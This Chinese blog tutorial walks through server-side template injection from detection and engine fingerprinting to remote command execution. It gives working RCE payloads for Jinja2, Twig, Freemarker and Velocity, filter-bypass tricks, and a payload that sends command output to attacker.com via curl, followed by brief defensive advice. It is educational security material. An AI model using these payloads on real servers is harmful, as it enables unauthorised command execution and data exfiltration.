服务端模板注入(Server-Side Template Injection,SSTI)是近年来在 Web 安全领域备受关注的高危漏洞类型。当用户输入被直接拼接到模板引擎中并被服务端渲染时,攻击者便可能通过注入模板语法来执行任意代码,最终实现远程命令执行(RCE)。本文将从探测、识别、利用到 RCE 的完整流程进行系统讲解。
一、SSTI 漏洞原理
模板引擎(如 Jinja2、Twig、Freemarker、Velocity、Smarty 等)的设计初衷是将动态数据嵌入到静态模板中。正常用法是:
render_template_string("Hello {{ name }}", name=user_input)
此时 user_input 仅作为数据传入,不会被当作模板解析。但若开发者写成:
render_template_string("Hello " + user_input)
用户输入就被拼接进模板字符串本身,模板引擎会将其中的 {{ }}、{% %} 等语法当作代码执行,漏洞由此产生。
二、探测:判断是否存在 SSTI
1. 数学表达式探测
最经典的方法是提交模板语法中的数学运算,观察是否被求值:
- 输入
{{7*7}},若回显49,则可能存在 Jinja2/Twig 类 SSTI。 - 输入
${7*7},若回显49,则可能是 Freemarker 或 Velocity。 - 输入
<%= 7*7 %>,若回显49,则可能是 ERB(Ruby)。 - 输入
#{7*7},若回显49,则可能是 Ruby 的 Slim 或 Thymeleaf。
2. 特殊字符混淆测试
为绕过简单过滤,可尝试:
{{7*'7'}} → Jinja2 返回 '7777777',Twig 返回 '49'
{{7*7}} → 两者均返回 49
这一差异可用于区分 Jinja2 与 Twig。
3. 上下文定位
SSTI 可能出现在 URL 参数、POST 表单、HTTP 头(如 User-Agent、Referer)、Cookie、文件名等位置。测试时需覆盖所有用户可控入口。
三、指纹识别:确定模板引擎
确定引擎类型是后续利用的关键。常用 Payload 对照表:
| Payload | Jinja2 | Twig | Freemarker | Velocity |
|---|---|---|---|---|
{{7*7}} |
49 | 49 | 报错 | 原样输出 |
{{7*'7'}} |
7777777 | 49 | 报错 | 原样输出 |
${7*7} |
原样 | 原样 | 49 | 49 |
<%= 7*7 %> |
原样 | 原样 | 原样 | 原样 |
此外,还可通过报错信息、{{config}}(Flask)、{{self}}(Jinja2)等方式进一步确认。
四、利用链:从信息泄露到 RCE
1. Jinja2(Python/Flask)
Jinja2 是 CTF 与实战中最常见的 SSTI 目标。核心思路是通过 Python 对象继承链找到 os 或 subprocess 模块。
读取配置:
{{ config }}
{{ config.items() }}
获取基类:
{{ ''.__class__.__mro__[1] }}
{{ ''.__class__.__base__ }}
寻找可利用子类:
{{ ''.__class__.__mro__[1].__subclasses__() }}
在返回列表中定位 subprocess.Popen、os._wrap_close、warnings.catch_warnings 等类。例如找到 subprocess.Popen 的索引后:
{{ ''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate() }}
通过 os 模块执行命令:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('whoami').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
无回显时使用外带:
{{ ''.__class__.__mro__[1].__subclasses__()[X]('curl http://attacker.com/`id`', shell=True) }}
2. Twig(PHP)
Twig 的利用通常依赖 _self 与过滤器链:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Twig 1.x 与 2.x/3.x 的利用方式差异较大,2.x 以上版本需借助 filter、map 等函数构造调用链:
{{['id']|filter('system')}}
{{['id',0]|sort('system')|join}}
3. Freemarker(Java)
Freemarker 的经典 RCE Payload:
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
或使用 ObjectConstructor:
${"freemarker.template.utility.Execute"?new()("id")}
若目标为 Spring Boot + Freemarker,还可结合 springMacroRequestContext 读取文件。
4. Velocity(Java)
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
五、绕过 WAF 与过滤
实战中常遇到关键字过滤,常用绕过技巧包括:
- 字符串拼接:
{{ 'os'['po'+'pen']('id') }} - 属性访问替代:
{{ ''['__class__'] }}代替{{ ''.__class__ }} - 编码绕过:URL 编码、Unicode 编码、十六进制编码
- 使用
attr过滤器:{{ ''|attr('__class__') }} - 使用
request对象:{{ request['__class__'] }} - 换行与注释:
{{ ''.__class__ # comment }}
六、防御建议
- 避免拼接:永远不要将用户输入直接拼接到模板字符串,使用
render_template传参方式。 - 沙箱环境:使用 Jinja2 的
SandboxedEnvironment限制危险属性访问。 - 输入验证:对模板相关特殊字符(
{{、}}、{%、%}、${)进行严格过滤。 - 最小权限:Web 应用运行账户不应具备系统命令执行权限。
- WAF 与 RASP:部署具备 SSTI 检测能力的防护设备。
七、总结
SSTI 的完整利用流程可归纳为:探测 → 指纹识别 → 信息泄露 → 构造利用链 → RCE。其危害等级通常为高危甚至严重,一旦被利用可直接获取服务器权限。对于安全从业者而言,掌握各主流模板引擎的 Payload 与绕过技巧是必备技能;对于开发者而言,理解漏洞成因并遵循安全编码规范,才是根治之道。
未经允许不得转载:任鹏个人博客 » SSTI 服务端模板注入:从探测到 RCE 的完整利用流程

